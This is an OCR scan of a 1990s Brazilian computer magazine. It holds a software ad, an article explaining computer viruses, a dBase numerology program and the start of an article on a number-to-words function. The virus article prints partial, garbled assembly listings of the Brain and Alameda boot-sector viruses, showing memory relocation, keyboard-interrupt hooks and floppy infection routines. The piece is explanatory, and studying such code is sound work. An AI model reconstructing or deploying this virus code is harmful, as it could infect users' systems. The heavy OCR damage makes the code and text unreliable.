Cr$ 500.00 
CrS 500.00 
CrS 500,00 

1 • Os programas acima estào disponíveis 
112 acrescente Cr$ 500,00 por programa: 
2 - O pedido mínimo é de CrS 1.000.00: 
3 - Esta tabela está válida até o linal de nossos estoques: 
4 - Garantimos aos nossos clientes 5 anos de assistência para 

ATENÇÃO 
51/4 e 3 1/2. Para 3 produtos que comercializamos. 

Os programas da NEMESIS INFORMÁTICA ITDA. são de origem 100% 
NACIONAL, registrados pela própria empresa ou por seus autores. 
Os produtos de empresas a que representamos sáo de responsabi¬ 
lidade das mesmas: 

5 - Ao comprar nossos programas em revendas autorizadas, confira 
na embalagem e na etiqueta do disquete se o produto é original. Nào 
deixe que o pirata lhe engane. 

ESTAMOS CADASTRANDO REVENDAS EM TODO O BRASIL - SOLICITE GRATUITAMENTE NOSSO CATÁLOGO ILUSTRADOI 

ATENÇÃO PROGRAMADORES: A NEMESIS ESTA PROCURANDO NOVOS TALENTOS! 

PEDIDOS 

^Mr,n5MPo ^BcvPEL5> C0RREI0: ENVIE VALE POSTAL OU CHEQUE NOMINAL A NEMESIS INFORMÁTICA LTDA. CAIXA POSTAL 4583 CEP 20001 RIO DE 
JANEIRO - RJ OU VENHA PESSOALMENTE AO SHOW-ROOM' NFMFSIS NA RUA SETE DE SETEMBRO. 92-19° ANDAR - RIO DE JANEIRO - RJ 

TELEFONES: (021) 222-4900 e (0242) 42-2455 



Vírus: dois exemplos práticos 
Saiba como atuam os vírus nos computadores e veja como são 
por dentro dois exemplares que infectam os PCs 

Leziro Marques Silva 

Atualmente, a disseminação dos 
chamados vírus constitui-se num dos 
problemas mais sérios e preocupantes 
para os usuários dos sistemas compu¬ 
tadorizados. 0 problema assume ma¬ 
ior gravidade quando as circunstâncias 
induzem à utilização de cópias “infor¬ 
mais" de software, em especial as có¬ 
pias piratas. Estas, aparentemente mais 
atraentes pela disponibilidade e custo 
tentador, são os veículos mais comuns 
para a introdução e reprodução dos ví¬ 
rus num sistema. 

Como se dizia antigamente, o barato 
sai caro! Realmente, os custos de des- 
contaminação e de recuperação de da¬ 
dos e programas podem atingir cifras 
absurdas. Segundo os dados recentes 
da Computer Virus Industry Associa- 
tion (EUA), foram dispendidos cerca 
de US$ 98 milhões para eliminar ape¬ 
nas os problemas de infecção com o 
vírus InterNet/ArpaNet, um dos tipos 
mais simples, gerado pela travessura 
de um estudante de computação. 

0 QUE SÃO E COMO ATUAM 

Os vírus são programas com capa¬ 
cidade de autodonagem e reprodução 
constante nos meios hospedeiros onde 
são introduzidos, inadvertida ou deli- 
beradamente. O objetivo de sua ge¬ 
ração pode ser a simples missão de re¬ 
produção e disseminação de um 
sistema para outro, ou a alteração dos 
sistemas e a sua autodestruição sem 
deixar rastros, a partir dos quais pos¬ 
sam ser desenvolvidas defesas contra 
eles. Podem infectar desde um mo¬ 
desto sistema pessoal até um main- 
frame sofisticado e milionário, via trans¬ 
missão telefônica ou discos 
contaminados, reproduzindo-se em mi- 

crossegundos e atingindo grandes 
distâncias a partir da fonte. 

Os vírus podem permanecer escon¬ 
didos nos programas ou se infiltrarem 
no sistema operacional dos computa¬ 
dores (sistema nervoso), atingindo as 
CPUs (cérebro). 

Veiculados por uma fonte externa 
- o software -, podem estar camufla¬ 
dos num programa aparentemente ino¬ 
cente, como por exemplo, um novo 
jogo, à semelhança do lendário Cavalo 

de Tróia. Todos os sistemas operacio¬ 
nais são vulneráveis, alguns mais que 
os outros (MS-DOS, PC-DOS, UNIX, 
etc). 

Os perigos potenciais vão desde os 
danos físicos causados ao hardware 
por sobrecarga (bastante raro), até a 
alteração e/ou eliminação de dados (o 
mais comum), numa reação em cadeia 
capaz até de extrapolar o sistema afe¬ 
tado, com efeitos teoriamente ilimita¬ 
dos. 
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! vírus pakistani brain 

CODE SEGMENT PUBLIC 8 CODE8 I 
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE 

ORG 7C00H ;BOOT SECTOR ORG! 

1 

BEGIN: CLI ’• 
JMP CONTINUE ; 7D4E 

1 DATA AREA ■ 

DB 3«H,12H J 

;THE FOLLOWING IS THE LOCXTION OP THE VIROS MAIN BODY HHICH RESIDES INSIDE 

XAREA. 512 BYTES OP BOOT SECTOR, 2.5X OP VIRÜS |OF THE 3E BAD TR 
L—HEAD DB 0 
L_TRACX_SECT LABEL WORD 

DB 9 jTRACE 

I BAD 
TRACE—SECT 
SpCTOR 

B 7 j OSED BY READ—SECTOR_ 
ABEL WORD : OSED BY READ-SECTOR ETC. 

B 1 > 
B ? I 

Welcooe to the Dungeon' # 

<"> 1986 
,30 25^,... 

PHOSE :430791,443248,280530•* 
Beware of thi« VIROS. 

Contact us íor vaccination. 8 _ 

.•SOBTRACT 7K ! 

:MOVE OURSELF T01 

AX,[0413H] 
AX,7 
DS:[0413HJ,i 

ax!cl 

S-.offset BEGIN í 

CX.1004H ;MOVE 4K + 4 BYTES 

MOVSB í 

ES ; JUMP TO OS OP THERE 
AX.200H 1 

;0040:0014 == MEMORY SIZE 

l£AD A SECTOR 

í EKTRY: ES:BX 

READ_SECTOR: 
POSH CX 
PUSH BZ 

MOV 
RS—10: 

MOV 
MOV 
MOV 

jRETRY COONT - 

DH,[HEAD] 
DL, 0 
CX, [TRACE—SECT] 
AX,201H 
13H 
RS—90 
AH, 0 
13B 

-READ 1 SECTOR 

jJÜMP NO ERROR 

J INC. SECTOR AND OVER PLOW INTO HEAD fc TRACE 

CONTINOE: 
MOV AX,CS 
MOV DS , AX 
MOV SS, AX 
MOV SP,0F000H 
STI 

MOV AL,[L—HEADJ 

j7D4E 

; INZTXALXZE HEAD/TRACE/SECTOR 

MOV [HEAD), AL l 
MOV CX, [L—TRACE—SECT} 
CALL NEXT—SECTOR 

MOV 
MOV 

C_10: 
CALL 
ADD 
LOOP 

CX,5 ; READ MAIN BODY 
BX,off«ot BEGIN * 512 
CALL READ—SECTOR 
NEXT—SECTOR * 
BX,512 * 
C_10 I 

VIROS INTO MEMORY 
(5 SECTORS LONC) 

MOV AL, [SECTOR] j 

MOV [SECTOR], AL ; 
l 
1 

MOV DS: [SECTOR], 1 I 
MOV AL,[HEAD] 1 

MOV [HEAD],AL » 

JNZ NS 90 1 
MOV DS:[H£AD], 0 : 
INC DS: JTRACK] j 

* 

CODE EXDS , COOE EXDS 

Imaginem o que aconteceria, por 
exemplo, nos sistemas desprotegidos 
de processos de produção industrial 
controlados por computadores, siste¬ 

mas de controle do tráfego aéreo nos 
aeroportos, sistemas de defesa de pa¬ 
íses em permanente estado de alerta 
ou beligerância, na indústria aeroes¬ 
pacial, na medicina computadorizada, 
etc. Até nos automóveis modernos 
equipados com ignição e em especial 
a frenagem comandadas por micropro¬ 
cessadores, as conseqüências pode¬ 

riam ser fatais... 
Os vírus podem atuar destrutiva¬ 

mente tão logo penetrem num sistema, 
ou então serem programados para per¬ 
manecer latentes até serem ativados 
- uma verdadeira bomba-relógio! Esta 
ativação pode ser disparada por um 

timer ou uma simples seqüência de di¬ 
gitação no teclado, para acionamento 
de uma dada função ou diretório dos 
discos. 

São tão insidiosos que mesmo um 

sistema aparentemente desinfectado 
pode abrigar um vírus pernicioso, cuja 
reincidência é capaz de causar novos 
problemas. 

O pior da história é que tais 
programas-vírus são relativamente fá¬ 
ceis de elaborar e que cada vez me¬ 
nos conhecimentos específicos são ne¬ 
cessários para fazê-los penetrar nos 
sistemas desprotegidos e espalhá-los. 

VACINAS E MEDIDAS DE PROTEÇÃO 

Os vírus apresentam sintomas qua 
se sempre sutis, por vezes de identi¬ 

ficação difícil pelos especialistas. A 
grande maioria dos sistemas de pro¬ 

teção disponíveis atualmente não são 
totalmente eficientes e alguns deles 
não são confiáveis, chegando mesmo 
a facilitar a disseminação. 

Uma variedade crescente de progra¬ 
mas para a detecção e proteção anti- 
virótica está tomando conta do mer¬ 
cado, mas apenas alguns deles têm 
eficácia relevante. Um programa rastre- 

ador interessante foi publicado em MS 
93, para o vírus denominado Trojan 
1813/Sexta-Feira 13. 

Em termos de proteção, é evidente 
que todos os sistemas devem ser equi¬ 
pados para enfrentar a batalha contra 
os vírus. Todavia, como numa moeda, 
sempre existe um reverso, ou seja, as 
capacidades de reprodução e de adap- ► 
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tacão aos diferentes meios infiltrados 
podem ser utilizadas de maneira posi¬ 
tiva para tornar os softwares mais ver¬ 

sáteis. 
Este aspecto merece atenção espe¬ 

cial, pois os vírus possuem a tendên¬ 

cia inata de escapar ao controle. O ve¬ 
lho ditado de que de boas intenções 
o inferno está repleto é muito apro¬ 
priado ao caso. 

Outra grande penalização imposta 

aos infectados é o tempo gasto para 
corrigir os problemas e com a recupe¬ 

ração dos dados perdidos, em adiação 
à própria interrupção dos sistemas en¬ 
quanto ocorria a virose. 

DOIS EXEMPLOS PRÁTICOS 

Os vírus que ficaram mais famosos 
e que tanto têm afligido os Estados 

Unidos e a Europa são os seguintes: 
InterNet, Pakistani Brain, Trojan 1813, 
IBM, Israeli, Lehigh, Chirstmas, 1704, 

MacMag, Scores, nVIR, Amiga, 
Alameda-Merritt, etc. 

A título de ilustração, segue-se a dis¬ 
secação dos vírus PakistaniBrain e Ala¬ 
meda College, efetuada pela Interpath 
Corporation (USA). Por motivos ób¬ 
vios, a listagem é apenas parcial e, por 
si só, inócua. 

O vírus Alameda College foi criado 
no Merritt College, Oakland, Califór¬ 
nia, em 1988. O Pakistani Brain surgiu 
no Lahore, em 1986, espalhando-se ra¬ 
pidamente pelo universo dos micro¬ 
computadores PC. 

Foram criados para a variedade 

"floppy only", agindo pelo redirecio- 
namento da facilidade de interrupção 
do processo pelo teclado (INT 09H) 

para as següências ALT-CTRL-DEL. Ao 
encontrá-las, mobiliza-se para conta¬ 
minar qualquer floppy no drive A. 

CONCLUSÃO 

Concluindo, chamamos a atenção 
dos usuários: quase sempre a eco¬ 
nomia mesquinha conduz a resulta¬ 
dos desastrosos. Um alerta, pois, 
contra os piratas e as cópias de ori¬ 
gem duvidosa - à semelhança da luta 

contra a AIDS, é melhor evitar os 
“grupos de risco“... 

LEZIRO MARQUES SILVA é formado em 
Geologia pela Universidade de São Paulo, 
é ex-professor da Universidade Federal de 

Santa Catarina e MSc em Engenharia Ci¬ 
vil pela A.S.U. Está atualmente vinculado 
à CETESB SP. 

• VIRUS alameda college 

vírus alameda college 

1. Find top of m*mory and copy ouraelf up there. (keeping aaae of fa«t); 
2 . Savo a copy of the f irat 32 intarrupt vector* to top of nenory too j 
3. Redirect int 9 (Jteyboard) toouraelf in top of rncBory j 
4 . Jump to ouraelf dt top of rneaory i 
5. Lo a d and oxacuta REAL boot aactor froo track 40, haad 0, aactor 8 i 

j ES - TOP OP MEMORY - (7C00H+512) 

DI,3«56H 
B_10 t 
Word Ptr (COUNTER_lj 

IP THE VIRUS IS REBOOTING... 

SI,CX JOC-O 
Dl.offoot BECIN - 128 
CX,128 
MOVSB 

JCOPY SELP TO TOP OF MEMORY 

JSAVE/REDIRECT INT 9 (KEYBOARD) 

MOVSB j 
Word Ptr (9*4),of f Mt NEW—09 
((9*4) + 2},ES 

RE SET KEYBOARD, TO ACKNOWLEDCE LAST CHAR 

jRESET KEYBOARD THEN CONTINUE 

TABLE DB 278,0,1,2 
DB 27H,0,2,2 
DB 27H,0,3,2 
DB 278,0,4,2 
DB 278,0,7,2 
DB 27H,0,8,2 

;A7C9A LABEL BYTE 
DW 000248 
DB OADH 
DB 07CH 
DW 00026H 

;LOAD REAL BOOT SECTOR TO 0000 : 7CC 
j DRIVE A: HEAD 0 

TRACK 40, SECTOR 8 
READ SECTOR 
(conaaon to 8/9 aect. 1/2 sidedt J 

•TOP OF MEMORY (0040:0013) -- 1024 
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N09—30 

OLD_09 

N09—X0: 

N09—20 

N09_30 

N09_XO 

ACK—KEYBD 

MOV [ALT_CTRLj , ] 

OEAH 

0F000U 

JMP N09—Xl 

;is IT AJJ [ALT}. .. 
Í...JUMP IP HO . 
; (BH~08 ON KEY DOWN, Hí.88 OS KEY U?) 

:IP[I]... 

; IP [DEL]. . . 

;AX-0 i 

jSELECT 80x25 COLOR 

;SET CURSOR POS 0,0 

; DELAY (AL-20H F 

3 INT CONTROLLER 

jCX-0 (DELAY) 

tBECIN - X28 

5-0 DS,CX jCX-0 

Word ?5fI19HM],°ff.ct NEW—19 jSET INT 19 VECTOR 

i - ROM DATA AREA 

((1911*4 ) +2],CS 

DS, A 

WordPtr (OE502H), 21E4H 
DS , 
P 90 , 
19B 

JMP 0F000:0E502H 

rNOT...REBOOT 

; REBOOT INT VECTOR 

NEW—19 I XOR AX, AX 

MOV DS,AX 

X, 0201 

X,o£fsct BEGIN 

;READBOOT SECTOR 

;TRACK 0, SECTOR 1 

P RETRY EXPIRED. . -LOAD BASIC 

CMPDI.34S6 

RZ—INFECT S INFECT 

;PASS CONTROL TO BOOT SECTOR 

PUSH 

REPE CMPSB 
RI—12 
Word Ptr ES: [COUKTER—1] 

- 7RACX 39, HEAD 0 PORMATTED 
BX,offaec TABLE 
DX,0000 
CH.40-1 

;FORMAT 
RI—10 

TIOS PATH TO ti 
1-80 

OT SECTOR 
ov ES,d: 
X,off*«t BEGIN 

X.0J01B 

JFORMAT INPO 
;DRIVE A: HEAD I 
í TRACK 39 

S PORMAT OPTION F 

TRACK 39 , SECTOR 8. HEAD 0 
JES.BX - 0000:7C00, I 
JTRACK 4 0H 

5 POR PUT_NEW_09 BELOW 

jIFWRITE ERROR.. .JU 

;WRITE INFECTE D BOOT 

<P TO BOOT CODE 

SECTOR I 

> IF ERROR... JUKP TO B 

RI—12: 
INT 

RI—80: 

MOV [ALT—CTRL] , 1 

AX , [COUNTER_1] 
BX,0040H 
DS.BX 
(0072R], AX 

;SAVE ALT & CTRL STATUS 

PUT COUNTER—l INTO RESET T 

jIFFLOPPY DRIVES ... 

P OT—NEW_0 9 

N19—20: 

N19_22: 

; SAVE/REDIRECT INT 9 (KEYBOARD) 

; RETRY COUNT - 4 

: RESET DISK 

A7DF4 
COUNTER—l 
ALT—CTRL D* 
A7DFC 

COMÉRCIO DE MÁQUINAS 233-3655 
E SISTEMAS LTDA. 233-3792 

233-4612 

• SISTEMAS DE PROCESSAMENTO 
• CONTAS A PAGAR E A RECEBER 
• CONTABILIDADE • FATURAMENTO 
• ADMINISTRAÇÃO DE IMÓVEIS 
• FOLHA DE PAGAMENTO • FATURAMENTO 
(PAGAMENTOS EM ATÉ 4 VEZES)_ 

Formulários, Disquetes. Fitas e toda linha de 

suprimentos para informática 

MICROCOMPUTADOR 
PC XT 640/704 Kb 
PC AT 286/386 

Rua Dom Gerardo. 63 
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ST/GO 

0 micro místico 
Em tempos de “Brida“ um programa para seu autoconhecimento 

que irá ajudá-lo a enfrentar os desafios do seu destino 

Roberto Silva Francisco 

Baseado nos livros "A Ciência Sa¬ 
grada dos Números" de Tuball Kahan 
e "Números - Símbolos para o Auto¬ 
conhecimento" de Richard Vaughan, 

eis aqui um programa em dBase III 
Plus para o IBM-PC que faz a análise 

numerológica do nome e data de nas¬ 
cimento do leitor, extraindo os núme¬ 
ros que indicam sua personalidade, 
motivação, caráter e a tabela de fre- 
qüência dos números resultantes ds 
seu nome. Desse modo o leitor pode 

rá ter uma visão mais clara sobre o 
próprio destino, que está intimamente 
relacionado com a sua data de nasci¬ 

mento. 
Como nada acontece por acaso, e 

em tudo há um propósito para a exis¬ 

tência, nosso nome e dia de nasci¬ 
mento contêm informações importan¬ 

tíssimas a nosso respeito. É como se 
tivéssemos sido programados para 

pensar e agir de determinada maneira 

com relação aos fatos da vida. 
Indo mais além, poderíamos espe¬ 

cular que talvez até desejássemos vir 
ao mundo com o nome escolhido por 
nossos pais, como forma de aprimo¬ 
ramento e reparação dos carmas de 
vidas anteriores. Portanto, se estiver¬ 
mos conscientes, nosso relaciona¬ 

mento cósmico e social será muito 

melhor. 
Para os que buscam a compreen 

são das coisas e o autoconhecimen 
to, a numerologia proporciona infor¬ 

mações fascinantes e reveladoras, au¬ 
mentando o potencial para um 

ajustamento feliz e bem sucedido ao 
nos defrontarmos com os desafios de 

nossos destinos. 

OS MISTÉRIOS DO PROGRAMA 

Utilizando o dBase crie inicialmen 

te a estrutura do banco de dados 
NUMEROS.DBF, conforme mostrado 

na figura 1, e em seguida um arquivo 

de índice para o campo NOME, com 

os comandos: 

Create NUMEROS 
Index on NOME to INDNOME 

Feito isso, digite o programa da lis¬ 
tagem NUMEROS.PRG em um editor 

de texto tipo SideKick, Wordstar ou 
outro de sua preferência, gravando-o 
em formato ASCII (texto não-docu 

mento). 
Para rodar, volte ao dBase e digite: 

DO NUMEROS 

O sistema mantém o cadastro per¬ 
manente de nomes, aniversários e 
análises numerológicas que você in¬ 

cluir. Porém procure antes conhecer- 
-se a si mesmo, para não interpretar 
erroneamente nem julgar os outros. 

Boa sorte! 

ROBERTO SILVA FRANCISCO é Admi 
nistrador de Empresas, Consultor de Mi- 
croinformática e Sócio-diretor do Banco 
de Informática, Comércio, Representa 
ções e Importação Ltda. 

Structure -for database: D: NUMEROS, db-f 

Number of data recorda: 0 

Date ot 1 ast update : 24/10/90 

F i e I d Fiel d Name Type Wi dth 

I NOME Character 80 

2 NASCIMENTO Date 8 

3 I10TIVACAO Nuffier i c 2 

4 PERSONALID Numeric 2 

5 CARATER Numeric 2 

6 DESTINO Numeric 2 

7 NUM 1 Numeric 2 

8 NUM 2 Numeric 2 

9 NUM 3 Numeric 

10 NUM 4 Numeric 

1 1 NUM 5 Numeric XL 

12 NUM 6 Numeric 2 

13 NUM 7 Numeric 

14 NUM 8 Numeric 2 

15 NUM 9 

** Total 

Numeric 
1 i 5 
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Programa: NUMEROS.PRG 

Progranu « NUMEROS. P! 
Linguagem : Dbase III 
Autor : RoDerto S 
Data ! 24/10/90 

Cadastra (S/N) ?“GET RESP PICT 

GET NASCIDO 

SET TALK OFF 
SET STATUS OFF 
SET BELL OFF 
SET DATE BRIT 
USE NUMEROS INDEX INDNOME 
DO WHILE .T. 

NOMEVAR- SPACE(80) 
VOGAIS-0 
CONSOA=0 
VALVOG-0 
VALCON-0 
VOGAIS3-0 
CONSOA3-0 

NUMB-0 
NUM9-0 
DEST3-0 
CLEAR 
«2,0 SAY "NUMEROLOGIA em dBASE" 
«4,0 SAY "Entre Nome para Cálculos 
« 5,0 GET NOMEVAR PICT "•!" 

IF NOMEVAR - SPACE(80) 
EXIT 
ENDIF 
SEEK NOMEVAR 
IF .NOT. FOUNDO 

RESP - SPACE(1) 
DO WHILE RESP <> "S" -AND. RESP <> 

« 20,0 SAY "Nome Nao Encontrado 
READ 

ENDDO 
« 20,0 
IF RESP-"S" 

NASCIDO-CTOD(• / / ') 
« 7,0 SAY “Entre com a Data de I 
READ 
APPEND BLANK 
REPLACE NOME WITH NOMEVAR,NASCIMENTO WITH NASCIDO 

ELSE 
LOOP 

ENDIF 
ENDIF 
NOMEVAR2-TRIM(NOMEVAR) 
QT-LEN(NOMEVAR2) 
QT1-0 
DO WHILE 0T1 < QT 

LETRA-BUBSTRmOMEVAR2,QT-QTl .1) 

CASE LETRA - “A" 
VALVOG-VALVOG*l 
NUM1"NUM1*1 

CABE LETRA - "E“ 
VALV0G-VALV0G*5 
NUMS-NUMS*1 

CASE LETRA - "I" 
VALV0G-VALV0G*9 
NUM9-NUM9*! 

CASE LETRA - "O" 
VALV0G-VALV0G*6 
NUM6-NUM6M 

CASE LETRA - "U" 
VALVOG-VALVOG*3 
NUM3-NUM3*1 

ENDCASE 
QT1-QT1*! 

ENDDO 
VV0G-(LTRIM(STR(VALV0G,7))) 
TVOG-LEN(VVOG) 
TVOG1-0 
DO WHILE TVOG1 < TVOG 

TVOG2-VAL(SUBSTR(VVOG,TVOG-TVOG1,1> > 
VOGAIS»VOGAIS*TV0G2 
TVOG1-TVOG1*1 
WOGA— (LTRIM (STR (VOGA IS, 2) > ) 
TVOGA-LEN (WOGA > 

ENDDO 
IF TVOGA-2 

VOGAISl-VAL(SUBSTR(STR(VOGAIS,2),1,1)) 
VOGAIS2-VAL(SUBSTR(STR(VOGAIS,2),2,1>) 
VOGAIS3-VOGAIS1+VOGAIS2 
9 10,0 SAY "MOTIVACAO = "*STR(VALV0G,3)♦" = 

♦STR(VOGAIS,2)♦“ = “*STR(VOGAIS3.2) 
EXPR1—V0GAIS3 

ELSE 
9 10,0 SAY "MOTIVACAO - "*STR(VALV0G,3)*" - -+STR(VOGAIS,2 
EXPR1—VOGAIS 

ENDIF 

“+STR(CONSOA, 

M_8 WITH NUMB.I 

LETRA = “B“ .OR. 
VALCON—VALCON*2 
NUM2—NUM2*1 
LETRA = “C- .OR. 
VALCON—VALC0N*3 
NUM3=NUM3*1 
LETRA = ”D“ .OR. 
VALCON—VALCON*4 

LETRA - “K“ .OR. LETRA 

R. LETRA = 

VALCCN-VALCON »ò 
NUM6—NUM6*1 

CASE LETRA = "G” -OR- LETRA - “P“ -OR. Lfc 
VALCON-VALCON*7 
NUM7—NUM7♦1 * , 

CASE LETRA - “H“ .OR- LETRA - "Q" -OR. LE 
VALCON—VALCON*8 
NUM8-NUM8*1 

CASE LETRA - “R" 
VALCON—VALCON+9 
NUM9-NUM9*1 

ENDCASE 
QT1=QT1*1 

ENDDO 
VCON*=(LTRIH(STR(VALCON,7))) 
TCON-LEN(VCON) 
TCON1-0 
DO WHILE TCON1 < TCON 

TC0N2=VAL(SUBST R < VCON,TCON-TCON1,1)) 
CONSOA=CONSOA*TCON2 
TCON1-TCON1*1 
VCONA-(LTRIM(STR(CONSOA,2))) 
TCONA-LEN(VCONA) 

ENDDO 
IF TCONA-2 

CONSOAI-VAL(SUBSTR(STR(CONSOA,2),1,1> > 
CONSOA2-VAL(SUBSTR(STR(CONSOA,2),2,D > 
CONSOA3-CONSOA1*C0NS0A2 
a 11,0 SAY “PERSONALIDADE - “*STR (VALCON,->) 

*STR(CONSOA,2)♦“ - "*STR(C0NS0A3 
EXPR2-C0NS0A3 

ELSE 
« 11,0 SAY “PERSONALIDADE - “*STR(VALCON,3) 
EXPR2-CONSOA 

ENDIF 

. >. ■' • 
« 12 00 SAY -CARATER - “*STR(EXPR3,3)* - *STR(EXPR4,*) 
tt 14,00 SAY “NUM. 1 - “*STR(NUM1,2) 
« 14,15 SAY “NUM. 2 - ”*STR(NUM2,2) 
9 14,30 SAY “NUM. 3 - “*STR(NUM3.2) 
9 14,43 SAY “NUM. 4 - “*STR(NUM4,2» 
e 14,60 SAY “NUM. 5 - “*STR (NUM*", 2) 
9 15,00 SAY “NUM. 6 - “*STR(NUM6.2> 
• 13,13 SAY “NUM. 7 - "*STR(NUM7,2) 
• 13,33 SAY “NUM. 8 - ”*STR(NUM8,2> 
9 15 45 SAY "NUM. 9 - “*STR(NUM9,2) 
REPLACE NUM 1 WITH NUM1,NUM 2 WITH NUM2,NUM_3 WITH NUM3,NUM_4 WIJH NUM4,| 

NUM~5 WITH NUM3,NUM_6 WITH NUM6,NUM_7 WITH NUM7, " ... 
NUM 9 WITH NUM9 

DATA1-DT0C(NASCIMENTO) 
ANOI-SUBSTR(DATAI,7,2) 
ANO-"19“*ANO1 
RESP-SPACE(1) 
DO WHILE RESP <> -S“ .AND. RESP <> “N" 

9 20,0 SAY “ANO o “*ANO*“ (S/N) 7“ GET RESP PICT "!" 
READ 

ENDDO 
9 20.0 
IF RESP--N- 

9 20.0 SAY “Entre com o Ano Correto» " GET ANO PICT "9999" 
READ 

ENDIF 
• 20.0 
DIA-SUBSTR(DATAI,1,2) 
MES-SUBSTR(DATA1,4,2) 
DIA3-VAL(SUBSTR(DIA,1,1))*VAL(SUBSTR(DIA,2.1> > 
DIA1-VAL(SUBSTR(STR(D1A3,2),1,1))*VAL(SUBSTR(STR(DIA3,2),2,1)) 
MES1-VAL(SUBSTR(MES.1.1> >*VAL(SUBSTR(MES.2,1)) 
AN02-VAL(SUBSTR(ANO,1,1))*VAL(SUBSTR(ANO,2,1))♦l 

VAL(SUBSTR(ANO,3,1))*VAL(SUBSTR(ANO.4,1)) 
AN03-VAL(SUBSTR(STR(AN02,2).1,1> >*VAL(SUBSTR(STR(AN02,2),2,1)) 
AN04-VAL(SUBSTR(STR(AN03,2),1,1))*VAL(SUBSTR(STR(AN03,2),2,1)) 
DEST1-AN04*DIA1*MES1 
VDEST-LTR1M(STR(DEST1,5)) 
TDEST-LEN(VDEST) 
DEST2-0 
RDEST-0 
DO WHILE RDEST < TDEST 

ADEST-VAL(SUBSTR(VDEST,TDEST-RDEST,1>) 
DEST2-DEST2-ADEST 
RDEST-RDEST*1 

ENDDO 
VDEST5—LTRIM(STR(DEST2,2)) 
TDESTS-LEN(VDEST3) 
DEST3-0 
RDEST3-0 
DO WHILE RDEST3 < TDEST5 

ADEST5-VAL(SUBSTR(VDEST3,TDEST5-RDEST3,1)) 
DEST3-DEST3*ADEST3 
RDEST3-RDEST3*1 

ENDDO 
9 18,0 SAY “DESTINO - "»STR(DEST1,3)*” - "{ 

*STR(DEST2,2)*“ = “+STR(DEST3.2) 
SET CONSOLE OFF 
WAIT 
’ ET CONSOLE ON 
IF V0GAIS3 <> 0 

REPLACE MOTIVACAO WITH VOGAIS3 
ELSE 

REPLACE MOTIVACAO WITH VOGAIS 
ENDIF 
IF C0NS0A3 <> 0 

REPLACE PERSONALID WITH C0NS0A3 
ELSE 

REPLACE PERSONALID WITH CONSOA 
ENDIF 
REPLACE CARATER WITH EXPR4, DESTINO WITH DEST3 

ENDDO 
CLOSE DATA 
CLEAR 
SET TALK ON 
SET STATUS ON 
SET BELL ON 
RETURN 
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A função que faltava 
Veja como obter valores numéricos por extenso 
e dê por encerrada a tarefa de amansar o Leão 

André Luiz Lopes SantAna e 

A matéria da edição anterior intitu¬ 
lada "Como amansar o Leão" mencio¬ 
nou que neste número seria publicada 
uma função que, a partir de um valor 
passado como parâmetro, retornava 
o extenso correspondente em cruzei¬ 

ros. Conforme prometido, neste artigo 
será descrita esta função. Ela deve in¬ 
teressar a muitos programadores que 
já quebraram a cabeça tentando criar 

algo parecido, mas esbarraram na 
grande quantidade de condições que 

a função exige para que o extenso seja 

retornado correta mente. 
Em primeiro lugar, veremos algu¬ 

mas características da função: 
- A função retorna o extenso de 

quantias entre Cr$ 0,00 e 
CrS999.999,99 porém, com algumas 
alterações, ela pode funcionar perfei¬ 
tamente com qualquer quantia; 

- Esta função é de uso geral, isto 
é, pode ser usada por qualquer pro¬ 
grama, não se restringindo apenas ao 
SISTEMA DE IMPOSTO DE RENDA 

(sistema descrito em "Como amansar 

o Leão"); 
- Caso seja passado um 0 (zero) 

como parâmetro, a função retornará 

a uma string vazia; 
- Foram tomados os devidos cuida¬ 

dos com o singular e o plural da uni¬ 
dade monetária corrente. Logo, se for 
passado como parâmetro o valor 1 

(um), a string de retorno será UM CRU¬ 
ZEIRO e não UM CRUZEIROS. Do 
mesmo modo, se for passado 0.01 
como parâmetro, será retornada a 

string UM CENTAVO, no singular; 
- A função não testa se o número 

entrado está na faixa permitida (entre 

0.00 e 999.999,99). Fica a cargo do pro¬ 
gramador julgara necessidade ou não 

Marcos Guterres Alves 

de fazer esta alteração, pois ele é quem 
sabe qual a faixa de valores que será 
obedecida pelo seu programa; 

- Caso algum dia (espero que nunca) 
seja novamente mudada a unidade 

monetária em vigor, bastará o progra¬ 
mador editar a função e alterar as 
strings correspondentes às unidades 
monetárias conforme necessário. 

Este é um breve resumo do conte¬ 

údo de cada variável da função: 
STRN - Contém o número transfor¬ 

mado em string. A string é preenchida 
com zeros à esquerda, caso seja ne¬ 

cessário. 
SIZE - Corresponde à quantidade de 

dígitos do número. 
CM - Centena de milhar. 
DM - Dezena de milhar. 
UM - Unidade de milhar. 

CT - Centena. 
DZ - Dezena (também usada no cál¬ 

culo dos centavos). 
UN - Unidade (também usada no cál¬ 

culo dos centavos). 
EXT - String que contém o extenso 

do valor desejado. 
RESP - String de retorno das funções 
que são chamadas para formar o ex¬ 

tenso do valor desejado. 
Veja, a seguir, a depuração dos prin¬ 

cipais trechos da função: 

SET POINT TO 
Este comando é indispensável para 

o perfeito funcionamento da função. 

STRN = 
SUBSTR(STR(NUMBER,9,2) 

A váriavel STRN recebe o valor 
transformado em string de tamanho 

9 e com duas casas decimais. 
STRN = REPL("0",9-S1ZE) + STRN 

STRN recebe a string, porém são 
colocados tantos zeros quantos forem 
necessários para que a string tenha ta- 
manho 9. Por exemplo: a string 

"1234.00" se torna "001234.00". 

CM = SUBSTR(STRN,1,1) 

UN = SUBSTR( STRN,6,1) 
Pega cada algarismo do número em 

questão. 

EXT = CENTENA (CM,DM,UM) + 
DEZENA(DM.UM) + UNIDADE 

("S",DM,UM) 
Este trecho forma o extenso da 

parte de milhar do número chamando 
as funções de formação de string. O 
"S" na função unidade é um flag que, 

quando está setado, como é o caso, 
ativa o funcionamento do "HUM" para 
que não haja problemas de ortografia. 

IF LEN(EXT)»0 
EXT = EXT + "MIL " 
IFCT«»"0" .AND .DZ = "0" .AND. 

UN = "0" 
EXT = EXT + "E" 
ELSE 
IF CT «»"0" .OR. DZ«»"0" .OR. 

UN«»"0" 
EXT = EXT + ", " 

ENDIF 
ENDIF 

ENDIF 
Este trecho completa a primeira 

parte da string. Caso o tamanho de 
EXT seja maior do que zero, indicando 
que a string já tem algum conteúdo, 
adiciona "MIL" à string. Se a centena 

for diferente de zero e a dezena e a uni¬ 
dade forem iguais a zero, adiciona "E" 
à string. Se a centena for diferente de 
zero, e a dezena ou a unidade (ou am- 
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bas) também forem diferentes de zero, 
adiciona à string. A explicação disso 
se deve ao seguinte: quando temos 
números em que a dezena e a unidade 

são iguais a zero e a centena é dife¬ 
rente, como é o caso de 11.100 ou 
2.300, nós escrevemos ONZE MIL E 
CEM CRUZEIROS e DOIS MIL E TRE¬ 
ZENTOS CRUZEIROS. Quando a de¬ 
